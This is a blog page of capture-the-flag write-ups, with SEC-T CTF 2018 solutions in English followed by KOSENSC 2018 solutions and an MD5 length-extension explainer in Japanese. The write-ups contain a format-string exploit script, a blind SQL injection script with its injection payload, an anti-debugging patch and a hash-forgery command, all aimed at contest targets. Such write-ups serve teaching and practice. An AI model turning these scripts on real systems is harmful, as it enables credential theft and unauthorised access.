SEC-T CTF 2018 - Writeup

It's been about two years since I last joined in a CTF. I participated in SEC-T CTF 2018 as a member of 'insecure.' I solved 7 challanges and got 357 point in total.


Sanity check [Misc 51pts]

Flag is in the topic of #sect-ctf @ irc.freenode.net

The flag is written on the IRC.

Ez dos [Rev 51pts]

They told me you were old-school, great! Have a look at this license-server as a warm-up
Service: nc 7777 | nc rev.sect.ctf.rocks 7777
Download: ezdos.tar.gz

The file contains 'ezdos.com' and it's an executable for MS-DOS.

$ file ezdos.com
ezdos.com: COM executable for MS-DOS

Let's disassemble it.

$ objdump -D -b binary -M intel -mi386 -Maddr16,data16 ezdos.com > disasm

As I looked over the assembly, I found it reads a file named 'flag' and shows its contents when the license key is correct. The following part is where we enter the license key.

   c:   b9 00 00                mov    cx,0x0
   f:   bb 00 20                mov    bx,0x2000
  12:   ba 0d 00                mov    dx,0xd
  15:   b4 01                   mov    ah,0x1
  17:   cd 21                   int    0x21
  19:   3c 0a                   cmp    al,0xa
  1b:   74 08                   je     0x25
  1d:   88 07                   mov    BYTE PTR [bx],al
  1f:   43                      inc    bx
  20:   41                      inc    cx
  21:   39 d1                   cmp    cx,dx
  23:   75 f0                   jne    0x15

The license key we enter is stored at 0x2000.

  25:   b9 00 00                mov    cx,0x0
  28:   bb 00 20                mov    bx,0x2000
  2b:   b8 6b 02                mov    ax,0x26b
  2e:   ba 04 00                mov    dx,0x4
  31:   51                      push   cx
  32:   31 c9                   xor    cx,cx
  34:   8a 0f                   mov    cl,BYTE PTR [bx]
  36:   93                      xchg   bx,ax
  37:   8a 2f                   mov    ch,BYTE PTR [bx]
  39:   93                      xchg   bx,ax
  3a:   38 e9                   cmp    cl,ch
  3c:   0f 85 87 00             jne    0xc7
  40:   59                      pop    cx
  41:   41                      inc    cx
  42:   43                      inc    bx
  43:   40                      inc    ax
  44:   39 d1                   cmp    cx,dx
  46:   75 e9                   jne    0x31

The address of the license key is loaded into BX and the value 0x26b is stored into AX. AX(0x26b) points to the data '1337SHELL'. This part is a loop and it compares the first 4 characters of the license key with '1337', so the license key begins with '1337'. And then, it checks whether the next character is '-' as shown below.

  48:   31 d2                   xor    dx,dx
  4a:   8a 17                   mov    dl,BYTE PTR [bx]
  4c:   80 fa 2d                cmp    dl,0x2d
  4f:   75 76                   jne    0xc7

After checking '1337-', it checks the rest of the key character by character. The next character of the key and the data('S') is loaded into CL and CH respectively and compares CLCH with 0x66, which means the correct character is 'S'^0x66='5'.

  51:   43                      inc    bx
  52:   31 c9                   xor    cx,cx
  54:   8a 0f                   mov    cl,BYTE PTR [bx]
  56:   93                      xchg   bx,ax
  57:   8a 2f                   mov    ch,BYTE PTR [bx]
  59:   93                      xchg   bx,ax
  5a:   30 e9                   xor    cl,ch
  5c:   80 f9 66                cmp    cl,0x66
  5f:   75 66                   jne    0xc7

By restoring the rest of the key in the same way, I found the correct key is '1337-5115'. Connecting to the server with nc and entering the key, I got the flag.

Matry0ska1 [Crypto 51pts]

Discrete logarithms are hard...
nc 4444 | nc crypto.sect.ctf.rocks 4444

The server tells a message like this:

  (("))  --- Gimme exponent pl0x
  /   \
 ( (@) )

p = 122488473105892538559311426995019720049507640328167439356838797108079051563759027212419257414247
g = 2
g^x = 49865908605708412727604941701889315223850522668539772014048529597300749129536778697051808702829

What we have to do is find x such that 2^{x}=y \mod p when y and p are given. The number [tex:gx] is variable but p is fixed. p can be factorized by using wolfram alpha. This means the discrete logarithm problem can be solved by applying the Pollard's rho algorithm for logarithms and the Pohlig-Hellman algorithm. However, I used the following service which solves the discrete logarithm problem.


It took a few tens of seconds to solve the problem. Sending the answer returned the flag.

Section6 [Misc 51pts]

This file was recovered from a scavenger.
Download: section6.tar.gz

The given file contains a zip file. I guessed it's a word document since it has some directories such as Documents or _rels. Though I tried to open it with Libre Office, the document seemed broken. The contents of a word document basically exist in the Document directory. I found a file Documents/6/Pages/6.fpage which contains the text data. Since the text goes for several lines, I wrote a simple Python code which formats the text data.

import re

out = ""
with open("6.fpage", "r") as f:
    for line in f:
        found = re.findall("UnicodeString\=\"(.+)\"", line)
        if found:
            text = found[0]
            print text

This program gave me the flag in ASCII art.

Puppetmatryoshka [Misc 51pts]

Greetings Kusanagi, your mission is to find Puppet Master.
Download: puppetmatryoshka.tar.gz

The given archive has a pcap file named matryoshka.

$ file matryoshka 
matryoshka: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

I found TCP packets in which contains a file compressed by bzip2. I extracted and decompressed it, which created a disk dump.

$ file extracted
extracted: Linux rev 1.0 ext4 filesystem data, UUID=b72f5197-d45b-4079-b6e8-b9d1be583d67 (extents) (huge files)

There are some empty files and a 7-zip archive. I decompressed the archive and got an ASCII text file that seemed base64-encoded. Exhausting. Decoding the text made an Open Document file. Here is what is written in it:

Kusanagi, well done so far.

Try not to get compromized, we know he sometimes change metadata to cover his traces. Look for sign.

No flag here? It indicates the metadata, especially the signature is the key. I looked into META-INF/documentsignatures.xml and found the flag finally.

Shredder [Misc 51pts]

We intercepted this floppy we believe belonged to the laughing man. We haven't found anything other than this shredder tool though.
Download: floppy.gz

The file floppy is a disk dump of FAT filesystem.

$ file floppy
floppy: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", root entries 112, sectors 2880 (volumes <=32 MB), sectors/FAT 9, sectors/track 18, serial number 0xb4d31337, unlabeled, FAT (12 bit), followed by FAT

I mounted the disk and found a 64-bit ELF named shredder. Analysing the binary with using IDA reveals how it works.

  1. Open and read a file
  2. Generate a random byte as a key
  3. XOR the whole file byte by byte with the key
  4. Repeat step 2 and 3 for several times (It depends on the argument)

No matter how many times it XORs the file, it's easy to recover the original one because we just have to try 255 keys. However, the problem is we don't have the XORed file because it deletes the file before exiting. Deleting a file on FAT filesystem means just changing some bits on the disk so the file itself is not deleted. The given disk image is so small that we can easily find the deleted file. (The deleted file is located at 0x8800.) I wrote a Python code which tries to recover the file.

with open("floppy", "rb") as f:
    buf = f.read()[0x8800:]
buf = buf[:buf.index("\x00\x00\x00\x00")]
print repr(buf)

for key in range(0x100):
    out = ""
    for c in buf:
        out += chr(ord(c) ^ key)
    print out

As I looked over the output, I found the flag when the XOR key is 108.

Batou [Misc 51pts]

We manage to collect a dump from Batou's computer. Try to find info/notes that can help us
Download: batou.tar.gz

The file batou is a vmss image because the file begins with "d2 be d2 be 08." Let's use volatility to analyse this memory dump. At first, we have to determine the profile. imageinfo tells us the profile.

$ vol.py -f batou imageinfo
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : VMWareAddressSpace (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/home/ptr/workspace/ctf/sect/batou/batou)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf800028480a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80002849d00L
                KPCR for CPU 1 : 0xfffff880009ea000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-09-11 04:17:17 UTC+0000
     Image local date and time : 2018-09-10 21:17:17 -0700

The process list can be obtained by psscan.

$ vol.py -f batou --profile=Win7SP1x64 psscan
Offset(P)          Name                PID   PPID PDB                Time created                   Time exited                   
------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------
0x000000003de683c0 dwm.exe            1660    792 0x0000000014479000 2018-09-11 04:16:05 UTC+0000                                 
0x000000003de72b30 explorer.exe       1720   1652 0x00000000154e2000 2018-09-11 04:16:05 UTC+0000                                 
0x000000003df57b30 SearchProtocol     1040   1988 0x000000000d026000 2018-09-11 04:16:13 UTC+0000                                 
0x000000003df77b30 SearchFilterHo     1140   1988 0x000000000d92f000 2018-09-11 04:16:13 UTC+0000                                 
0x000000003df9f100 SearchProtocol     1340   1988 0x00000000106ca000 2018-09-11 04:16:13 UTC+0000                                 
0x000000003dfaf4a0 iexplore.exe       1536   1720 0x000000000c130000 2018-09-11 04:16:15 UTC+0000                                 
0x000000003dfe54f0 iexplore.exe       1636   1536 0x000000000be44000 2018-09-11 04:16:17 UTC+0000                                 
0x000000003dfef570 StikyNot.exe       1872   1720 0x0000000006f04000 2018-09-11 04:16:20 UTC+0000                                 
0x000000003e08d3a0 taskhost.exe       1728    460 0x0000000014187000 2018-09-11 04:16:05 UTC+0000                                 
0x000000003e1da210 notepad.exe         204   1720 0x0000000028c02000 2018-09-11 04:16:31 UTC+0000                                 
0x000000003e22bb30 svchost.exe         748    460 0x000000001ba0c000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003e23eb30 svchost.exe         792    460 0x000000001b619000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003e264890 svchost.exe         820    460 0x000000001b31f000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003e2b32a0 svchost.exe         944    460 0x000000001bf2a000 2018-09-11 04:15:35 UTC+0000                                 
0x000000003e2eb890 svchost.exe         212    460 0x000000001bb38000 2018-09-11 04:15:35 UTC+0000                                 
0x000000003e367b30 spoolsv.exe         300    460 0x000000001b064000 2018-09-11 04:15:35 UTC+0000                                 
0x000000003e379b30 svchost.exe         968    460 0x000000001b8c6000 2018-09-11 04:15:36 UTC+0000                                 
0x000000003e4de060 csrss.exe           316    308 0x000000002004a000 2018-09-11 04:15:32 UTC+0000                                 
0x000000003e4f0b30 lsass.exe           468    372 0x000000001ea74000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e5062b0 wininit.exe         372    308 0x000000001fc50000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e510a00 winlogon.exe        400    356 0x000000001f19d000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e551060 services.exe        460    372 0x000000001eb54000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e55bb30 lsm.exe             476    372 0x000000001f47c000 2018-09-11 04:15:33 UTC+0000                                 
0x000000003e5b7b30 svchost.exe         584    460 0x000000001e7c5000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003e612b30 svchost.exe         664    460 0x000000001b903000 2018-09-11 04:15:34 UTC+0000                                 
0x000000003edbe2d0 SearchIndexer.     1988    460 0x000000000fe67000 2018-09-11 04:16:12 UTC+0000                                 
0x000000003f41c750 smss.exe            232      4 0x0000000025ac0000 2018-09-11 04:15:30 UTC+0000                                 
0x000000003febdb30 notepad++.exe      1568   1720 0x0000000005f4c000 2018-09-11 04:16:39 UTC+0000   2018-09-11 04:16:48 UTC+0000  
0x000000003ffbdae0 System                4      0 0x0000000000187000 2018-09-11 04:15:30 UTC+0000                                 
0x000000003ffc65f0 csrss.exe           364    356 0x000000001fb97000 2018-09-11 04:15:33 UTC+0000                                 

As you can see from the list, notepad++ had terminated. I tried to dump the process but it didn't work. Maybe the flag is written to the disk by notepad++. filescan is useful when we want to survey the files.

$ vol.py -f batou --profile=Win7SP1x64 filescan > filelist

I looked over the list and found curious lines in which notepad++ makes some backup files.

0x000000003fe9c930     16      0 R--rw- \Device\HarddiskVolume2\Users\Batou\AppData\Roaming\Notepad++\backup\new 2@2018-09-10_203737
0x000000003feacbc0      3      0 R--r-d \Device\HarddiskVolume2\Windows\SysWOW64\WindowsCodecs.dll
0x000000003fead410     16      0 R--rw- \Device\HarddiskVolume2\Users\Batou\AppData\Roaming\Notepad++\backup\new 1@2018-09-10_202915

Those files can be dumped by dumpfile. The extracted file has the flag in hex :-)

$ vol.py -f batou --profile=Win7SP1x64 dumpfiles --dump-dir="./" -Q 0x000000003fe9c930
$ cat file.None.0xfffffa8000da35c0.dat

53 45
43 54 7b 
34 6c 6c 5f 79 6f 75 72 5f 4e 30 74 33 73 5f 34 72 33 5f 62 33 6c 30 6e 67 5f 74 30 5f 75 35

高専セキュリティコンテスト2018のWrite Up


2018年09月01日から02日にかけて福岡で高専セキュリティコンテスト(KOSESNSC)が開催されました. 編入試験が終わって時間が空いたので,久しぶりにCTFに参加しました. 久しぶりで腕も鈍っていたので,8月の終わりに研究室でKOSENSC対策の模擬CTFを2回やって練習しました. 勉強の成果もあって,2日目の最初の段階で全問解答し,無事優勝することができました.


私は1700ptくらい入れたので,解いた問題のwrite upを書きます. 難問ばっかり解いたふるつきのwrite upもどうぞ.


ネットワーク担当のthrustのwrite upはこちら.


CTF初心者(300点問題を解く)yoshikingのwrite upはこちら.



KOSENSC2018 - Google ドライブ



[01 Binary100] まどわされるな!(10分~15分)



$ ./flag.out 
flag is SCKOSEN{you_are_go... oops! I Forgot!

問題内容通りフラグの先頭だけ表示されます.IDAで解析してもこの文章を出力するだけでした. そこでbinwalkでflag.outを見てみると,JPEGデータが付いていたので取り出しました. (なぜかbinwalkでは取り出せなかったのでPythonで書きました.)

buf = open("flag.out").read()
buf = buf[buf.index("\xFF\xD8\xff\xe0"):]
open("hoge.jpg", "wb").write(buf)


[03 Binary100] printf(5分)

フラグを読み出せ!ゲームへの接続方法:nc [hostname] [port] 例:nc 80

ふるつきに「解けるからやっといて」と言われて解いた問題です. 接続するとフラグの入っている変数のアドレスが渡され,文字が入力できます. %xなどを入力すると怪しいアドレスが表示されるので,Format String Bugの脆弱性があることが分かります. (FSBがあることはふるつきが最初に教えてくれた.) これはprintf関数などのフォーマット書式を扱う関数に直接入力を与えていることが原因で起こります.例えば

char buf[1024];
scanf("%1000s", buf);

のようなコードは脆弱です.printfは%sなどの書式が与えられるとスタックからデータを読み込み表示します. したがって,%pをたくさん入力するとスタック上のデータをたくさん表示することができます. 同様に%sを与えればスタック上のアドレスにあるデータを表示することができます. Format String Attackについてはこちらに分かりやすく書かれています. 次のようなコードでフラグを読み出しました.

from pwn import *
from struct import *

sock = remote("", 80)
sock.recvuntil("in ")
addr = int(sock.recvline(), 16)
sock.recvuntil("want: ")
payload = struct.pack("<I", addr) + " %15$s"
print sock.recv(4000)


[05 Binary250] Simple anti debugger(20分~30分)



gdb-peda$ start
I hate debugger ~:-(
[Inferior 1 (process 5539) exited with code 01]

IDAで見るとdetect_debuggerなる関数があり,ptraceを使ってデバッガを検知しているので,検知の条件分岐の値をいじったバイナリを作ります. IDAのgraph viewで命令にカーソルを合わせた状態でHex Viewを見ると対応する機械語が分かるので,pythonでこの部分を変更したバイナリを作りました.

buf = open("simple_anti_debugger").read()
ofs = buf.index("\x83\xF8\xFF")
buf = buf[:ofs] + "\x83\xF8\xF0" + buf[ofs + 3:]
open("bin", "wb").write(buf)

これをgdbデバッグすると,検知されません. IDAの方でis_correct_password関数の中身を確認すると,入力の文字コードの総和が0xA5であればOKみたいです. gdbで文字数の総和を取っているメモリの値を0xA5に変更して進めると,decode関数に入ります. これも読もうかと思ったのですが,decode関数を出るときにメモリ上にフラグがありました.


この問題はdecode関数を読むことでも解けます. decode関数はエンコードされたフラグ(encoded_flag)を入力として受け取り,デコードされたフラグを出力として返します. 内部ではencoded_flagを1文字ずつxor 1していたので,データ部にあるencoded_flagを処理してもフラグが得られます.

encoded_flag = "RBJNRDOzH^mhjd^edctffds|"

FLAG = ""
for c in encoded_flag:
    FLAG += chr(ord(c) ^ 1)

print FLAG

[06 Crypto100] exchangeable if(10分~15分)


画像ファイルが渡され,フラグが書いてありますが,その中の4文字だけ分からないようです. exiftoolで画像を見ると"md5=2009d1c114ed83f57cf8adde69fd6ca8"という文字列がありました. しばらく眺めていると,これがフラグのmd5なのではと思いついたので,4文字に英数字を当てはめてmd5は一致するものを探すと,フラグが見つかりました.

import hashlib
import string

pre = "SCKOSEN{sHDtF1"
lat = "NLTIWp}"
md5 = "2009d1c114ed83f57cf8adde69fd6ca8"

FLAG = ""
table = string.ascii_letters + "0123456789"
for s1 in table:
    for s2 in table:
        for s3 in table:
            for s4 in table:
                FLAG = pre + s1 + s2 + s3 + s4 + lat
                if hashlib.md5(FLAG).hexdigest() == md5:
                    print FLAG

[07 Crypto200] シンプルなQRコード(10分)

同じチームのthrustが解き始めたのですが,頑張ってQRの写真撮ってたので声をかけるとstrong-qr-decoderで解けるタイプのQRコードでした. thrustが正方形のQRっぽい形にしてくれていて,データ部も残っていたのでstrong-qr-decoderで読み込めそうでした. PILでQRコードの画像をテキストに変換し,strong-qr-decoderにかけるとフラグが出力されました. 詳しいwrite upはthrust2799が書いているはずなのでそちらを参照してください.

[08 Crypto200] 旅行の写真(10分)


一日目は触りませんでしたが,ホテルで解きました. 一日目にこれをやってた人が,周期的な線が入っていることや,青と緑の下位4ビットでそれが現れると言っていたので,それを繋げれば文字コードになるのでは,と思ってコードを書きました.

from PIL import Image

im = Image.open("problem.png")
size = im.size

FLAG = ""
for x in range(32):
    r,g,b = im.getpixel((x,0))
    p = g & 0b1111
    q = b & 0b1111
    FLAG += chr((p << 4) + q)

print FLAG


[12 Web100] サーバーから情報を抜き出せ!(5分)



      <div class="card box" style="width: 20rem;">
        <img class="card-img-top" src="/image?filename=1.jpeg">
        <div class="card-body">
          <h4 class="card-title">ホットドッグマン</h4>
          <p class="card-text">頭にホットドックが刺さってるキャラクター</p>


[14 Web300] アカウントを奪え(30分~40分)


SQL Injectionでログインすると,ソースコードが渡され,ユーザー'kosenjoh'のパスワードを取れとのこと.Blind SQL Injectionの問題ですね. 先日研究室でふるつきが開いたKoHでBlind SQL Injectionが出題されたので記憶に新しく,すぐにコードを書くことができました.

import requests
import json
import string

FLAG = ""
x = 0
while True:
    q = False
    x += 1
    for c in string.printable:
        payload = {'userid': 'kosenjoh', 'pass': "' OR SUBSTR(pass,{0},1)='{1}' LIMIT 1 ;-- ".format(x, c)}
        url = "http://bsql.kosensc2018.tech/"
        r = requests.post(url, data=payload)
        if "highlight_file" in r.text.encode("utf-8"):
            FLAG += c
            q = True
    if q == False:
        print("[ERROR] Unmatch")
        FLAG += "?"

最初printする場所が"FLAG += c"の前になってて1文字足りなかったので時間を取られました.

[21 Misc100] 謎のファイル(10分)


fileコマンドではZIPと言われるのでunzipすると,"word"と"docProps"とかOffice製品っぽいフォルダが展開されます. 後で気づいたのですが,中にrename_me.xmlというXMLファイルがあったので,これを正しいファイル名に変更して適切にzip圧縮すれば解けそうです. 優勝が確定して見直しに入るまでは気づかなかったので別の解き方をしていました. unzipして出てきたファイルの中のdocument.xmlで"SCKOSEN"の"S"を探すと,xml構文をまたいで次に"C"があったので,これを繋げればフラグになるかなぁ,となんとなく思いました. 繋げると意味不明な文字列が出てきたのですが,"{"と"}"があるので並べ替えればフラグになると思って慎重に読むと,2文字飛ばして読めばフラグになることに気づきました.

import re
buf = open("document.xml").read()
res = re.findall("w:t>(.)</w:t", buf)
res = "".join(res)
print res
FLAG = ""
for i in range(0, len(res), 3):
    FLAG += res[i]
for i in range(1, len(res), 3):
    FLAG += res[i]
for i in range(2, len(res), 3):
    FLAG += res[i]

print FLAG

誰か正攻法教えて. rename_me.xmlを[Content_Types].xmlに変更してzip圧縮すればワードで開けるそうです.7zipで圧縮したせいか私は開けませんでした...... thrustによると無圧縮とか圧縮方法が関係しているそうです.

[23 Misc300] 攻撃ログ(3時間)


1万数千行のWebサーバーアクセスログが渡されます. 何かがおかしいって何だよ...と思いながらログを見ると同じIPから大量の攻撃(OWASP ZAP?)がありました. 1行ずつ見ても終わらないので各行から得られる情報を整理するpythonコードを書きました. 使われてるメソッド,Content-Typeを一覧にしたり,レスポンス時間やレスポンスサイズを大きい順に並べたりといろいろして,候補を選ぶことにしました. Content-Typeの一覧を見ると,1つだけファイルアップロードしているっぽいリクエストがあったので候補に挙げました. レスポンスが500だったので,これは違うかなーと思って,使われているフレームワークを調べたり,レスポンスが404や500の後に200になっている行を探したりして調査を続けました. 11時半頃にみんな眠くなってきたとき,時刻通りに並んでいないリクエストが1つあることに気が付きました. これを見つけて絶対これじゃんってなってみんなで寝ました.(1日目終了時点で旅行写真とこの問題しか残ってなかった.) しかし,いざ次の日フラグを送ってみると不正解と言われます. 最初に見つけたアップロードリクエストの行を送ってみるとこっちが正解でした. (あとで調べたらレスポンスまでの時間がかかるとアクセス時間の順番通りにログが並ばないことが結構多いみたいです.) 上位5チームは全員この問題を解いていましたが,確信を持ってこれを選べたんですかね? レスポンスが"Internal Server Error"なので我々のチームメンバーはしっくりきてません.


全体的に良問で難易度も高くなかったのでやりやすかったです.ただ「攻撃ログ」と「find the flag」は個人的には肌に合わなかったです. 担当のForensicsは無かったですが代わりにSteganography,Binary系は結構解いたのでセーフ.あとExploit問題がほしかったです. チーム内で事前に役割分担していた上に,情報共有が事前練習通り上手くいったため早いうちに全完できました.


yoshikingはCTF初めて2か月なのに集中特訓していた暗号の250, 300点問題をちゃんと解いていた.えらいぞ.



進撃とかfind the flagとか時間かけた割にあんまり成果が出せなかったのでそこは反省です. 今後はSECCONに向けて対策していこうと思います.


Length Extension Attackの原理と実装


{H}md5sha1などのハッシュ関数としたとき,{H(m_1)}から{H(m_1 || m_2)}を求める攻撃をLength Extension Attackと呼びます. この記事では先日の研究室内で開いたCTFで出題した問題を例に,Length Extension Attackの原理と使い方を説明するとともに,Pythonによる実装を公開しようと思います.

Length Extension Attackの原理



最初のブロックでは図のように初期ベクトルIVを与え,各ブロックを順番に内部処理していきます.そして,最終的にはA,B,C,Dを並べた値を出力とします.メッセージが4ブロックよりも多い場合は,前の処理で得た出力をIVとして,同様に処理します.今,あるメッセージ{m_1}ハッシュ値{(A,B,C,D)}とします.では,この{(A,B,C,D)}をIVとして{m_2}ハッシュ値を取るとどうなるでしょうか.単純に考えれば{H(m_1 || m_2)}が計算できそうです.ただし,{m_2}のブロック数が4倍でない場合はパディングが追加されてしまうので,実際には{H(m_1 || padding || m_2)}を計算させます.したがって,必ずしも{H(m_1 || m_2)}が得られる訳ではありませんが,ゴミデータが間に入っているハッシュ値でも攻撃に利用できる場合があるのです.


攻撃原理を説明したところで,具体的な問題を解いてみましょう.次の問題は研究室内のCTFで出題したCrypto問題です.Hack You CTF 2014のhashmeという問題をベースに作りました. 問題ファイルとして,次のserver.pyと,これが動いているサーバーのアドレスとポート番号が渡されます.(文字列変数FLAG, SLATが入ったsecret.pyを別途用意する必要あり)

学生としての証明書をいくらでも発行できるサービスなのですが,教師としての証明書を作ることはできません.権限が教師の証明書を使えばフラグを見ることができます.証明書の発行でユーザー名を入力するとdata = 'priv:student|user:' + usernameが作られhash = md5(SALT + data)が計算されます.証明書はbase64(data + hash)として出力されます.construct関数でdataを辞書に展開するのですが,後ろにあるデータが優先されるので,usernameとして'hoge|priv:teacher'を与えれば教師権限を取ることができます.しかし,usernameとして使える文字は限られているので直接これを入力することはできません. ということで,md5(SALT + m1)が得られるので,ここからhash = md5(SALT + m1 + padding + '|priv:teacher')を計算し,証明書としてbase64(m1 + padding + '|priv:teacher' + hash)を与えれば教師権限を取ることができます.ただし,SALTの文字数が分からないのでパディングがどれだけ必要かは分かりません.これはどうしようもないので,SALTの文字数を1から順に変えていって試すしかないです.

Length Extension Attackの実装


攻撃と問題の説明はここまでです.興味のある方は,問題を解くコードも作ってみてください. SALTを"hoge"としてみると,こんな感じになります.

$ python lenxpand.py
known_md5 = e63f73a0551c84d96fd4d1311410d0ef
new_md5   = 77704b5b44435e866c45f001da0f69df
new_md5*  = 77704b5b44435e866c45f001da0f69df
data      = 'user\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00|priv:teacher'


$ hashpump -s e63f73a0551c84d96fd4d1311410d0ef -d user -k 4 -a "|priv:teacher"


Length Extension Attackに関する詳しい説明: katagaitai CTF勉強会 #5 Crypto

MD5の詳しいアルゴリズムMD5の計算方法 - BK class